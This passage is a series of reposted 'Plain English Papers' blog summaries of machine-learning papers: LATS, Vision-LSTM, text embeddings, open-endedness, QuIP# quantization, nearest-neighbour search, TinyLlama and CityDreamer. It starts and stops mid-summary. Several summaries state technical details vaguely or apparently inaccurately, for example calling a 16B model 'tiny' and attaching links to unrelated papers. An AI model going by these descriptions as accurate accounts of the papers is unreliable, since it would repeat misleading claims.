LATS also incorporates techniques like uncertainty-aware search, where the model considers the confidence in its predictions, and multi-task training, where the model learns from a diverse set of tasks. These help the model make more robust and flexible decisions.
The authors demonstrate that LATS outperforms existing LLM approaches on tasks like [question answering](https://aimodels.fyi/papers/arxiv/autoact-automatic-agent-learning-from-scratch-qa), [language-conditioned control](https://aimodels.fyi/papers/arxiv/enhancing-general-agent-capabilities-low-parameter-llms), and [task planning](https://aimodels.fyi/papers/arxiv/when-is-tree-search-useful-llm-planning). This suggests that the LATS framework could be an important step towards developing LLMs that can reason, act, and plan more effectively.
## Technical Explanation
The paper introduces a new framework called "Language Agent Tree Search" (LATS) that aims to unify reasoning, acting, and planning in large language models (LLMs). LATS is designed to address the limitations of current LLMs, which excel at language tasks like question answering but struggle with more structured reasoning, decision-making, and planning.
At the core of LATS is a decoupled architecture, where the model is split into a "value" network and a "policy" network. The value network is responsible for evaluating the expected outcome of different possible actions, while the policy network decides which action to take. This allows the model to carefully reason through the consequences of its decisions during a tree search, rather than just outputting the most likely response.
LATS also incorporates several other key techniques:
1. **Uncertainty-aware search**: The model considers the confidence in its predictions when searching the decision tree, allowing it to make more robust choices.
2. **Multi-task training**: The model is trained on a diverse set of tasks, from question answering to language-conditioned control to task planning, which helps it develop more flexible and generalizable capabilities.
The authors evaluate LATS on a range of benchmark tasks, including [question answering](https://aimodels.fyi/papers/arxiv/autoact-automatic-agent-learning-from-scratch-qa), [language-conditioned control](https://aimodels.fyi/papers/arxiv/enhancing-general-agent-capabilities-low-parameter-llms), and [task planning](https://aimodels.fyi/papers/arxiv/when-is-tree-search-useful-llm-planning). They demonstrate that LATS outperforms existing LLM approaches, suggesting that the unified reasoning, acting, and planning framework could be an important step towards developing more capable and flexible language models.
## Critical Analysis
The LATS framework presented in this paper is a compelling approach to enhancing the capabilities of large language models. By decoupling the value and policy networks and incorporating techniques like uncertainty-aware search and multi-task training, the authors have shown that LLMs can be trained to reason more effectively and make more informed decisions.
One potential limitation of the LATS approach is the computational overhead of the tree search process. While the authors report improvements on various benchmarks, the increased inference time required for the search may limit the practical applicability of LATS in some real-world scenarios, especially those that require fast response times.
Additionally, the paper does not provide a comprehensive exploration of the model's performance on a wider range of tasks, such as [language-based game agents](https://aimodels.fyi/papers/arxiv/survey-large-language-model-based-game-agents) or [automatic agent learning from scratch](https://aimodels.fyi/papers/arxiv/autoact-automatic-agent-learning-from-scratch-qa). Further research would be needed to fully understand the generalizability and limitations of the LATS framework.
Another area for potential exploration is the [meta-task planning capabilities](https://aimodels.fyi/papers/arxiv/meta-task-planning-language-agents) of the LATS model. The authors mention the ability to plan for complex, multi-step tasks, but do not delve deeply into the model's capacity for higher-level task planning and abstraction.
Overall, the LATS framework represents an exciting advancement in the field of language model capabilities. By unifying reasoning, acting, and planning, the authors have demonstrated the potential for LLMs to tackle a wider range of complex, real-world problems. However, further research is needed to fully understand the practical implications and limitations of this approach.
## Conclusion
The "Language Agent Tree Search" (LATS) framework proposed in this paper represents a significant step forward in enhancing the capabilities of large language models. By decoupling the model into value and policy networks, and incorporating techniques like uncertainty-aware search and multi-task training, the authors have shown that LLMs can be trained to reason more effectively, make more informed decisions, and plan for complex, multi-step tasks.
The empirical results demonstrate improvements on a range of benchmark tasks, including [question answering](https://aimodels.fyi/papers/arxiv/autoact-automatic-agent-learning-from-scratch-qa), [language-conditioned control](https://aimodels.fyi/papers/arxiv/enhancing-general-agent-capabilities-low-parameter-llms), and [task planning](https://aimodels.fyi/papers/arxiv/when-is-tree-search-useful-llm-planning). This suggests that the LATS framework could be a valuable tool for developing more capable and flexible language models, with potential applications in areas like [language-based game agents](https://aimodels.fyi/papers/arxiv/survey-large-language-model-based-game-agents) and [automatic agent learning](https://aimodels.fyi/papers/arxiv/autoact-automatic-agent-learning-from-scratch-qa).
While the LATS approach shows promise, there are still some open questions and potential limitations, such as the computational overhead of the tree search process and the need for further exploration of the model's generalizability and meta-task planning capabilities. Nonetheless, this research represents an important step forward in the ongoing effort to create more powerful and versatile language models that can truly understand and reason about the world.
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1,881,686 | Vision-LSTM: xLSTM as Generic Vision Backbone | Vision-LSTM: xLSTM as Generic Vision Backbone | 0 | 2024-06-09T01:33:19 | https://aimodels.fyi/papers/arxiv/vision-lstm-xlstm-as-generic-vision-backbone | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Vision-LSTM: xLSTM as Generic Vision Backbone](https://aimodels.fyi/papers/arxiv/vision-lstm-xlstm-as-generic-vision-backbone). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- Proposes a new vision backbone called Vision-LSTM that uses extended Long Short-Term Memory (xLSTM) as a generic building block
- Aims to improve the performance and efficiency of vision models compared to standard convolutional neural networks (CNNs)
- Demonstrates the versatility of Vision-LSTM by applying it to various vision tasks, including image classification, object detection, and semantic segmentation
## Plain English Explanation
[Vision-LSTM: xLSTM as Generic Vision Backbone](https://aimodels.fyi/papers/arxiv/xlstm-extended-long-short-term-memory) explores a new approach to building vision models using an extended version of the Long Short-Term Memory (LSTM) neural network, called xLSTM. The researchers argue that this xLSTM-based Vision-LSTM can outperform standard convolutional neural networks (CNNs) in terms of both performance and efficiency.
The key idea is to use the xLSTM as a generic building block for vision tasks, rather than relying solely on convolutional layers. LSTMs are known for their ability to capture long-term dependencies in sequential data, such as text or speech. By adapting the LSTM architecture to work with visual data, the researchers hope to take advantage of these capabilities to create more powerful and efficient vision models.
The paper demonstrates the versatility of the Vision-LSTM by applying it to a variety of vision tasks, including image classification, object detection, and semantic segmentation. This shows that the xLSTM-based approach can be a viable alternative to traditional CNN-based models, potentially offering improvements in areas like model size, inference speed, and overall performance.
## Technical Explanation
The [Vision-LSTM](https://aimodels.fyi/papers/arxiv/xlstm-extended-long-short-term-memory) paper proposes a new vision backbone that uses an extended version of the Long Short-Term Memory (LSTM) neural network, called xLSTM, as a generic building block. The researchers argue that this xLSTM-based approach can outperform standard convolutional neural networks (CNNs) in terms of both performance and efficiency.
The key technical contribution is the adaptation of the LSTM architecture to work with visual data. LSTMs are typically used for sequential data, such as text or speech, but the researchers demonstrate how the LSTM can be extended to capture spatial dependencies in images. This is achieved by modifying the LSTM's internal computations to operate on 2D feature maps, rather than 1D sequences.
The paper evaluates the Vision-LSTM on various vision tasks, including image classification, object detection, and semantic segmentation. The results show that the xLSTM-based model can match or exceed the performance of state-of-the-art CNN-based architectures, while often being more parameter-efficient and faster at inference.
## Critical Analysis
The [Vision-LSTM](https://aimodels.fyi/papers/arxiv/xlstm-extended-long-short-term-memory) paper presents a novel and promising approach to building vision models using xLSTM as a generic building block. The researchers demonstrate the versatility of their approach by applying it to a range of vision tasks, which is a strength of the work.
However, the paper does not provide a comprehensive analysis of the limitations or potential drawbacks of the Vision-LSTM approach. For example, it would be valuable to understand the specific types of visual tasks or datasets where the xLSTM-based model excels compared to CNN-based models, as well as any scenarios where it may struggle.
Additionally, the paper does not delve into the interpretability or explainability of the Vision-LSTM model. As vision models become more complex, understanding the internal workings and decision-making process of these models is crucial, especially for safety-critical applications. Further research in this direction could help increase the trustworthiness and adoption of the Vision-LSTM approach.
Overall, the [Vision-LSTM](https://aimodels.fyi/papers/arxiv/xlstm-extended-long-short-term-memory) paper presents an interesting and potentially impactful contribution to the field of computer vision. However, a more thorough examination of the limitations and broader implications of the proposed approach would strengthen the work and provide a more well-rounded understanding of its strengths and weaknesses.
## Conclusion
The [Vision-LSTM](https://aimodels.fyi/papers/arxiv/xlstm-extended-long-short-term-memory) paper introduces a new vision backbone called Vision-LSTM that uses an extended version of the Long Short-Term Memory (xLSTM) as a generic building block. By adapting the LSTM architecture to work with visual data, the researchers aim to create more performant and efficient vision models compared to standard convolutional neural networks (CNNs).
The key contribution of this work is the demonstration of the versatility and effectiveness of the Vision-LSTM approach across a variety of vision tasks, including image classification, object detection, and semantic segmentation. The results indicate that the xLSTM-based model can match or exceed the performance of state-of-the-art CNN-based architectures, while often being more parameter-efficient and faster at inference.
This research opens up new possibilities for the application of LSTM-like architectures in the computer vision domain, potentially leading to more powerful and efficient vision models in the future. As the field continues to evolve, further exploration of the limitations, interpretability, and broader implications of the Vision-LSTM approach could provide valuable insights and guide the development of even more advanced vision systems.
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1,881,685 | Improving Text Embeddings with Large Language Models | Improving Text Embeddings with Large Language Models | 0 | 2024-06-09T01:32:44 | https://aimodels.fyi/papers/arxiv/improving-text-embeddings-large-language-models | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Improving Text Embeddings with Large Language Models](https://aimodels.fyi/papers/arxiv/improving-text-embeddings-large-language-models). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- The paper explores techniques for improving text embeddings, which are numerical representations of text that can be used in various natural language processing tasks.
- The researchers propose using large language models, which are powerful AI systems trained on vast amounts of text data, to enhance the quality of text embeddings.
- The paper presents a method for generating synthetic data to fine-tune large language models and improve their text embedding capabilities.
- The researchers also discuss related work in the field of text embedding enhancement and the potential benefits of their approach.
## Plain English Explanation
The paper is about a way to make text embeddings better. Text embeddings are numbers that represent words or phrases, and they're used in all kinds of language AI tasks. The researchers found that using big, powerful language models - the kind that can write whole essays - can help improve these text embeddings.
They have a method where they generate fake text data and use it to fine-tune the language models. This helps the models learn even better ways to turn text into useful numbers. The researchers explain how this builds on previous work in this area, and they discuss the potential benefits of their approach.
## Technical Explanation
The paper presents a method for improving text embeddings using large language models. Text embeddings are numerical representations of text that capture semantic and syntactic information, and they are a crucial component in many natural language processing tasks.
The researchers propose fine-tuning large language models, such as [GPT-2](https://aimodels.fyi/papers/arxiv/nv-embed-improved-techniques-training-llms-as) and [BERT](https://aimodels.fyi/papers/arxiv/llm2vec-large-language-models-are-secretly-powerful), on synthetic data generated using techniques like [data augmentation](https://aimodels.fyi/papers/arxiv/empowering-large-language-models-textual-data-augmentation) and [back-translation](https://aimodels.fyi/papers/arxiv/novel-paradigm-boosting-translation-capabilities-large-language). This fine-tuning process allows the language models to learn better representations of text, which can then be used to generate high-quality text embeddings.
The researchers evaluate their approach on several standard text embedding benchmarks and find that it outperforms previous methods, [including those that directly fine-tune the language models on downstream tasks](https://aimodels.fyi/papers/arxiv/enhancing-embedding-performance-through-large-language-model).
## Critical Analysis
The paper presents a promising approach for improving text embeddings, but it also acknowledges several limitations and areas for further research. One limitation is that the method relies on the availability of large, high-quality language models, which may not be accessible to all researchers and developers.
Additionally, the researchers note that the performance of their approach may be sensitive to the quality and diversity of the synthetic data used for fine-tuning. Generating high-quality synthetic data that is representative of real-world text can be challenging, and this could impact the effectiveness of the method.
Furthermore, the paper does not explore the potential biases or fairness implications of using large language models, which are known to exhibit biases present in their training data. This is an important consideration that should be addressed in future research on this topic.
## Conclusion
Overall, the paper presents a novel approach for enhancing text embeddings using large language models and synthetic data generation. The researchers demonstrate promising results and highlight the potential benefits of their method, which could have wide-ranging applications in natural language processing and beyond.
However, the work also raises important questions about the limitations and potential pitfalls of this approach, which should be carefully considered by researchers and practitioners in the field. As with any emerging technology, it is crucial to think critically about the implications and to continue exploring ways to improve the robustness and fairness of text embedding systems.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,684 | Ask LLMs Directly, What shapes your bias?: Measuring Social Bias in Large Language Models | Ask LLMs Directly, What shapes your bias?: Measuring Social Bias in Large Language Models | 0 | 2024-06-09T01:32:10 | https://aimodels.fyi/papers/arxiv/ask-llms-directly-what-shapes-your-bias | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Ask LLMs Directly, What shapes your bias?: Measuring Social Bias in Large Language Models](https://aimodels.fyi/papers/arxiv/ask-llms-directly-what-shapes-your-bias). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
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1,881,677 | Open-Endedness is Essential for Artificial Superhuman Intelligence | Open-Endedness is Essential for Artificial Superhuman Intelligence | 0 | 2024-06-09T01:27:33 | https://aimodels.fyi/papers/arxiv/open-endedness-is-essential-artificial-superhuman-intelligence | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Open-Endedness is Essential for Artificial Superhuman Intelligence](https://aimodels.fyi/papers/arxiv/open-endedness-is-essential-artificial-superhuman-intelligence). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper argues that open-endedness is essential for achieving artificial superhuman intelligence (ASI).
- It defines open-endedness as the ability to continually explore and discover new possibilities without being constrained by predetermined objectives.
- The authors suggest that open-endedness is a key requirement for developing AI systems that can match or exceed human-level intelligence across a wide range of domains.
## Plain English Explanation
The researchers behind this paper believe that for AI systems to truly surpass human intelligence, they need to be able to explore and discover new ideas without being limited by pre-set goals or objectives. [They argue that "open-endedness" - the ability to continuously expand one's capabilities and knowledge - is a critical characteristic for developing artificial superhuman intelligence (ASI).](https://aimodels.fyi/papers/arxiv/towards-framework-openness-foundation-models-proceedings-from)
The paper explains that current AI systems are often designed to excel at specific, narrowly-defined tasks, like playing chess or recognizing images. While impressive, these systems lack the broader, more flexible intelligence that humans possess. The authors propose that by imbuing AI with open-endedness - the drive to continuously explore new ideas and possibilities - we can create systems that can match or surpass human-level abilities across a wide range of domains.
[This open-ended approach aligns with the emerging field of foundation models, which aims to develop highly versatile AI systems that can be adapted to a variety of tasks.](https://aimodels.fyi/papers/arxiv/social-path-to-human-like-artificial-intelligence) The researchers argue that embracing open-endedness is key to unlocking the true potential of these foundation models and paving the way for artificial superhuman intelligence.
## Technical Explanation
The paper begins by defining open-endedness as the ability of an AI system to continually explore and discover new possibilities without being constrained by predetermined objectives or outcomes. The authors argue that this property is essential for developing artificial superhuman intelligence (ASI) - AI systems that can match or exceed human-level abilities across a wide range of domains.
[The researchers contrast open-endedness with the more narrow, task-specific focus of many current AI systems, which excel at particular challenges like playing chess or recognizing images, but lack the broader, more flexible intelligence of humans.](https://aimodels.fyi/papers/arxiv/creativity-open-endedness) They propose that by imbuing AI with open-endedness - the drive to continuously expand its capabilities and knowledge - we can create systems capable of matching or exceeding human-level performance across a wide variety of tasks.
[The paper also links the concept of open-endedness to the emerging field of foundation models - highly versatile AI systems that can be adapted to a variety of tasks.](https://aimodels.fyi/papers/arxiv/omni-epic-open-endedness-via-models-human) The authors argue that embracing open-endedness is key to unlocking the true potential of these foundation models and paving the way for the development of artificial superhuman intelligence.
## Critical Analysis
The paper makes a compelling case for the importance of open-endedness in the development of artificial superhuman intelligence. The authors' arguments are well-reasoned and grounded in the current state of AI research and development.
However, the paper does not delve deeply into the specific technical challenges or approaches for imbuing AI systems with genuine open-endedness. [While the link to foundation models is intriguing, the paper could benefit from a more detailed exploration of how open-endedness can be practically implemented and evaluated within these versatile AI architectures.](https://aimodels.fyi/papers/arxiv/beyond-human-subjectivity-error-novel-ai-grading)
Additionally, the paper does not address potential risks or ethical concerns associated with the pursuit of artificial superhuman intelligence. As this technology advances, it will be crucial for researchers to carefully consider the societal implications and ensure that open-endedness is developed and deployed in a responsible manner.
## Conclusion
This paper makes a compelling case for the importance of open-endedness in the development of artificial superhuman intelligence (ASI). The authors argue that by imbuing AI systems with the ability to continuously explore and discover new possibilities, we can unlock their true potential and create technologies that match or exceed human-level abilities across a wide range of domains.
The link between open-endedness and the emerging field of foundation models is particularly intriguing, and the paper suggests that embracing this principle could be key to unlocking the full potential of these versatile AI architectures. While the paper could benefit from more technical details and a deeper exploration of potential risks and ethical considerations, it nonetheless offers a thought-provoking perspective on the future of AI and the path towards artificial superhuman intelligence.
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1,881,683 | QuIP#: Even Better LLM Quantization with Hadamard Incoherence and Lattice Codebooks | QuIP#: Even Better LLM Quantization with Hadamard Incoherence and Lattice Codebooks | 0 | 2024-06-09T01:31:00 | https://aimodels.fyi/papers/arxiv/quip-even-better-llm-quantization-hadamard-incoherence | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [QuIP#: Even Better LLM Quantization with Hadamard Incoherence and Lattice Codebooks](https://aimodels.fyi/papers/arxiv/quip-even-better-llm-quantization-hadamard-incoherence). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
• This research paper presents a new approach called "QuIP#" for quantizing large language models (LLMs) to enable efficient low-precision inference.
• The key ideas include using Hadamard incoherence and lattice codebooks to achieve better quantization performance compared to prior techniques.
## Plain English Explanation
Large language models (LLMs) are powerful AI systems that can perform a wide range of natural language tasks. However, running these models on real-world hardware can be computationally expensive and energy-intensive. To address this, researchers have explored techniques like quantization, which reduces the precision of the model's numerical parameters to use less memory and compute.
The QuIP# method described in this paper aims to improve upon existing quantization techniques for LLMs. The core ideas are:
1. **Hadamard Incoherence**: By using a special type of matrix called a Hadamard matrix during the quantization process, the authors are able to reduce the amount of information lost compared to previous methods. This helps preserve the model's performance even at very low precisions, like 2 bits per parameter.
2. **Lattice Codebooks**: The authors also introduce a novel way of constructing the "codebook" - the set of discrete values that the model's parameters are quantized to. By using a mathematical structure called a lattice, they are able to optimize this codebook to further improve quantization efficiency.
The combination of these two techniques - Hadamard incoherence and lattice codebooks - allows the QuIP# method to achieve state-of-the-art quantization performance for LLMs, reaching as low as 2 bits per parameter with minimal accuracy loss. This could enable deploying powerful LLMs on a wider range of hardware, including mobile devices and edge computing systems, where computational and memory resources are more constrained.
## Technical Explanation
The key technical contributions of the QuIP# method are:
1. **Hadamard Incoherence**: The authors propose using a Hadamard matrix as the "incoherence processing" step in the quantization pipeline. Hadamard matrices have the property of being maximally incoherent, which means they can preserve more information about the original model parameters compared to other incoherence processing techniques like random projection.
2. **Lattice Codebooks**: Instead of using a standard vector quantization codebook, the authors construct the codebook using a mathematical structure called a lattice. Lattices allow the codebook to be more optimized for the distribution of the model parameters, leading to better quantization performance.
3. **Comprehensive Evaluation**: The authors evaluate QuIP# comprehensively on a range of large language models and tasks, including GPT-2, GPT-3, and BERT. They show that QuIP# outperforms prior quantization methods like [APTQ](https://aimodels.fyi/papers/arxiv/aptq-attention-aware-post-training-mixed-precision), [ComQ](https://aimodels.fyi/papers/arxiv/comq-backpropagation-free-algorithm-post-training-quantization), and [QLLM](https://aimodels.fyi/papers/arxiv/qllm-accurate-efficient-low-bitwidth-quantization-large), especially at very low bitwidths like 2 bits per parameter.
## Critical Analysis
The paper provides a strong technical contribution by introducing novel quantization techniques that outperform previous methods. However, a few potential limitations and areas for further research are:
1. **Hardware Deployment**: While the authors show impressive quantization results, the actual deployment of these low-precision models on real-world hardware (e.g., mobile, edge devices) is not explored. Further work is needed to understand the practical implications and challenges of deploying QuIP#-quantized models.
2. **Generalization to Other Model Types**: The evaluation in this paper is focused on large language models. It would be valuable to see how well the QuIP# techniques generalize to other types of models, such as computer vision or reinforcement learning models.
3. **Interpretability and Explainability**: The paper does not delve into the interpretability or explainability of the quantized models. Understanding how the low-precision parameters affect the model's internal representations and decision-making could provide valuable insights.
## Conclusion
The QuIP# method presented in this paper represents a significant advancement in the state-of-the-art for quantizing large language models. By leveraging Hadamard incoherence and lattice codebooks, the authors demonstrate impressive quantization performance, achieving up to 2 bits per parameter with minimal accuracy loss.
These techniques could enable deploying powerful LLMs on a wider range of computing hardware, including mobile and edge devices, where computational and memory resources are more constrained. Further research is needed to address practical deployment challenges and explore the generalization of these methods to other model types.
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1,881,682 | Approximate Nearest Neighbor Search with Window Filters | Approximate Nearest Neighbor Search with Window Filters | 0 | 2024-06-09T01:30:25 | https://aimodels.fyi/papers/arxiv/approximate-nearest-neighbor-search-window-filters | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Approximate Nearest Neighbor Search with Window Filters](https://aimodels.fyi/papers/arxiv/approximate-nearest-neighbor-search-window-filters). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper proposes a novel approximate nearest neighbor search algorithm that uses window filters to improve search efficiency.
- The algorithm is designed to work with large-scale vector databases, which are commonly used in various applications like image retrieval and recommendation systems.
- The key idea is to use a two-stage filtering process to quickly identify a set of candidate nearest neighbors, and then perform a more accurate search within this reduced set.
## Plain English Explanation
The paper describes a new way to quickly find the nearest matching items in a large database of vector data. This is a common problem in many applications, like [searching for similar images](https://aimodels.fyi/papers/arxiv/description-based-text-similarity) or [recommending products](https://aimodels.fyi/papers/arxiv/cluster-aware-similarity-diffusion-instance-retrieval).
The main innovation is a "two-stage filtering" approach. First, the algorithm uses a fast but imprecise way to identify a small set of possible matches. Then, it does a more thorough search just within that reduced set to find the actual nearest neighbor. This is more efficient than searching the entire database each time.
The authors test their algorithm on large-scale vector datasets and show it can provide [approximate nearest neighbor search](https://aimodels.fyi/papers/arxiv/approximate-nearest-neighbour-search-dynamic-datasets-investigation) results much faster than previous methods, while still maintaining good accuracy.
## Technical Explanation
The paper introduces a new approximate nearest neighbor (ANN) search algorithm called "Window Filters". The key idea is to use a two-stage filtering process to quickly identify a set of candidate nearest neighbors, and then perform a more accurate search within this reduced set.
In the first stage, the algorithm uses a "window filter" to construct a set of candidate neighbors. This filter defines a rectangular region around the query vector and selects all database vectors that fall within that region. This can be done very efficiently using specialized data structures like [k-d trees](https://aimodels.fyi/papers/arxiv/learning-to-rank-formulation-clustering-based-approximate).
In the second stage, the algorithm performs a more precise nearest neighbor search, but only within the set of candidates identified in the first stage. This allows it to avoid searching the entire database, which is computationally expensive.
The authors evaluate their Window Filters algorithm on several large-scale vector datasets, including SIFT features and word embeddings. They show it can achieve significant speedups over traditional ANN search methods, while maintaining competitive accuracy.
## Critical Analysis
The Window Filters algorithm represents a clever way to improve the efficiency of approximate nearest neighbor search, but it does have some limitations.
One key assumption is that the query vector and its nearest neighbors will be clustered together in the vector space. If this is not the case, for example if the nearest neighbors are spread out, then the window filter may not be effective at reducing the search space.
Additionally, the performance of the algorithm is sensitive to the choice of the window size parameter. If the window is too small, it may miss some relevant neighbors; if it's too large, the efficiency gains will be reduced. The paper does not provide clear guidance on how to set this parameter optimally.
Finally, the algorithm is designed for static datasets. It may not work as well for [dynamic datasets](https://aimodels.fyi/papers/arxiv/approximate-nearest-neighbour-search-dynamic-datasets-investigation) where vectors are being continuously added or removed. Adapting the approach to handle such cases could be an interesting area for future research.
## Conclusion
Overall, the Window Filters algorithm represents a promising approach for improving the efficiency of approximate nearest neighbor search in large-scale vector databases. By using a two-stage filtering process, it can achieve significant speedups over traditional methods, while still maintaining good accuracy.
While the algorithm has some limitations, it demonstrates the value of leveraging specialized data structures and multi-stage search strategies to tackle the computational challenges of working with massive high-dimensional datasets. As vector-based applications continue to grow, techniques like this will likely become increasingly important.
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1,881,681 | TinyLlama: An Open-Source Small Language Model | TinyLlama: An Open-Source Small Language Model | 0 | 2024-06-09T01:29:51 | https://aimodels.fyi/papers/arxiv/tinyllama-open-source-small-language-model | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [TinyLlama: An Open-Source Small Language Model](https://aimodels.fyi/papers/arxiv/tinyllama-open-source-small-language-model). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- This paper presents TinyLlama, an open-source small language model that aims to provide a lightweight and accessible alternative to large-scale language models.
- TinyLlama is trained on a diverse dataset and uses a novel pretraining approach to achieve strong performance while maintaining a small model size.
- The authors compare TinyLlama to other tiny language models and demonstrate its capabilities on a range of natural language processing tasks.
## Plain English Explanation
The paper discusses the development of [TinyLlama](https://aimodels.fyi/papers/arxiv/teenytinyllama-open-source-tiny-language-models-trained), a new open-source language model that is much smaller in size compared to the large language models that have become increasingly popular in recent years. The goal of TinyLlama is to provide a more accessible and lightweight alternative that can still perform well on various natural language processing tasks.
The key idea is to train this smaller model using a carefully curated dataset and a novel pretraining approach. This allows TinyLlama to achieve strong performance while keeping its overall size much smaller than the massive language models like [GPT-3](https://aimodels.fyi/papers/arxiv/super-tiny-language-models) or [PaLM](https://aimodels.fyi/papers/arxiv/jetmoe-reaching-llama2-performance-01m-dollars).
The authors compare TinyLlama to other tiny language models like [Chuxin-16B](https://aimodels.fyi/papers/arxiv/chuxin-16b-technical-report) and [Chinese Tiny LLM](https://aimodels.fyi/papers/arxiv/chinese-tiny-llm-pretraining-chinese-centric-large), and demonstrate its capabilities across a range of natural language tasks. The goal is to provide a high-performing but much more accessible language model that can be used by a wider audience, including those with limited computational resources.
## Technical Explanation
The paper describes the pretraining of TinyLlama, a small language model that aims to provide a lightweight and open-source alternative to large-scale language models. The authors utilize a diverse dataset and a novel pretraining approach to achieve strong performance while maintaining a small model size.
### Pretraining
#### Pre-training data
The authors curate a diverse dataset for pretraining TinyLlama, including web pages, books, and other textual data sources. This dataset is designed to provide broad coverage of topics and styles, allowing the model to develop a general understanding of language.
The dataset includes content from a variety of domains, such as science, technology, arts and culture, and current events. The authors also include multilingual data to support cross-lingual understanding.
#### Pretraining approach
TinyLlama is trained using a novel pretraining approach that focuses on efficient learning. The authors experiment with different training strategies and architectural choices to optimize for model size and performance.
One key aspect of the pretraining is the use of a carefully designed masking strategy, which helps the model learn effective representations while minimizing the overall model size. The authors also explore techniques to improve the model's ability to capture long-range dependencies and contextualized understanding of language.
## Critical Analysis
The paper provides a thorough evaluation of TinyLlama's performance on a range of natural language tasks, including text generation, question answering, and sentiment analysis. The results demonstrate that TinyLlama can achieve strong performance while maintaining a much smaller model size compared to larger language models.
However, the paper does not delve deeply into the potential limitations or challenges of the TinyLlama approach. For example, it would be useful to understand how the model's performance scales with larger datasets or more computational resources, and whether there are any specialized tasks or domains where TinyLlama may struggle compared to larger models.
Additionally, the paper could have explored more potential applications and use cases for a small-scale language model like TinyLlama, such as its potential for deployment on edge devices or in resource-constrained environments.
## Conclusion
The TinyLlama paper presents an intriguing approach to developing a high-performing yet lightweight language model. By leveraging a carefully curated dataset and a novel pretraining strategy, the authors have created a model that can compete with larger language models while maintaining a much smaller footprint.
This work has significant implications for the accessibility and democratization of language AI, as it enables more individuals and organizations to leverage powerful language technologies without requiring massive computational resources. The authors' commitment to open-sourcing TinyLlama further amplifies its potential impact on the broader AI research community.
While the paper could have explored some of the potential limitations and challenges in more depth, it nonetheless represents an important step forward in the quest for efficient and accessible language models. As the field of natural language processing continues to evolve, innovations like TinyLlama will likely play a crucial role in making these transformative technologies more widely available and applicable.
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1,881,679 | CityDreamer: Compositional Generative Model of Unbounded 3D Cities | CityDreamer: Compositional Generative Model of Unbounded 3D Cities | 0 | 2024-06-09T01:29:16 | https://aimodels.fyi/papers/arxiv/citydreamer-compositional-generative-model-unbounded-3d-cities | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [CityDreamer: Compositional Generative Model of Unbounded 3D Cities](https://aimodels.fyi/papers/arxiv/citydreamer-compositional-generative-model-unbounded-3d-cities). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- 3D city generation is a challenging task due to human sensitivity to structural distortions in urban environments and the wider range of building appearances compared to natural scenes.
- To address these challenges, the researchers propose [CityDreamer](https://aimodels.fyi/papers/arxiv/urban-architect-steerable-3d-urban-scene-generation), a compositional generative model designed specifically for 3D city generation.
- The key insight is that 3D city generation should be a composition of different types of neural fields: building instances and background stuff like roads and green spaces.
## Plain English Explanation
The researchers developed a system called [CityDreamer](https://aimodels.fyi/papers/arxiv/urban-architect-steerable-3d-urban-scene-generation) to generate realistic 3D cities. Generating 3D cities is more complex than generating natural 3D scenes because buildings can have a wide variety of appearances, while objects in nature tend to look more similar.
The researchers' approach involves breaking down the 3D city into two main components: the individual buildings and the background elements like roads and parks. They use specialized techniques to model each of these components, which allows the system to create more believable and diverse 3D cities.
The researchers also created a large dataset of real-world city imagery, called the [CityGen Datasets](https://aimodels.fyi/papers/arxiv/grounded-compositional-diverse-text-to-3d-pretrained), to help the system generate cities that look and feel more realistic.
## Technical Explanation
The researchers propose [CityDreamer](https://aimodels.fyi/papers/arxiv/urban-architect-steerable-3d-urban-scene-generation), a compositional generative model for 3D city generation. The key insight is that 3D city generation should be a composition of different types of neural fields: 1) building instances and 2) background stuff, such as roads and green lands.
Specifically, the system uses a bird's eye view scene representation and employs a volumetric rendering approach for both the instance-oriented and stuff-oriented neural fields. The researchers tailor the generative hash grid and periodic positional embedding techniques to suit the distinct characteristics of building instances and background stuff.
Additionally, the researchers contribute the [CityGen Datasets](https://aimodels.fyi/papers/arxiv/grounded-compositional-diverse-text-to-3d-pretrained), which includes a vast amount of real-world city imagery from sources like OpenStreetMap and Google Earth. This dataset helps the system generate 3D cities that are more realistic in terms of both layout and appearance.
## Critical Analysis
The researchers acknowledge that generating realistic 3D cities is a challenging task, as humans are highly sensitive to structural distortions in urban environments. They also note that 3D city generation is more complex than 3D natural scene generation due to the wider range of building appearances.
While the [CityDreamer](https://aimodels.fyi/papers/arxiv/urban-architect-steerable-3d-urban-scene-generation) model and the [CityGen Datasets](https://aimodels.fyi/papers/arxiv/grounded-compositional-diverse-text-to-3d-pretrained) represent significant advancements in the field, the researchers do not discuss potential limitations or areas for further research in detail. For example, it would be interesting to explore how the system might handle the generation of cities with unique architectural styles or cultural influences.
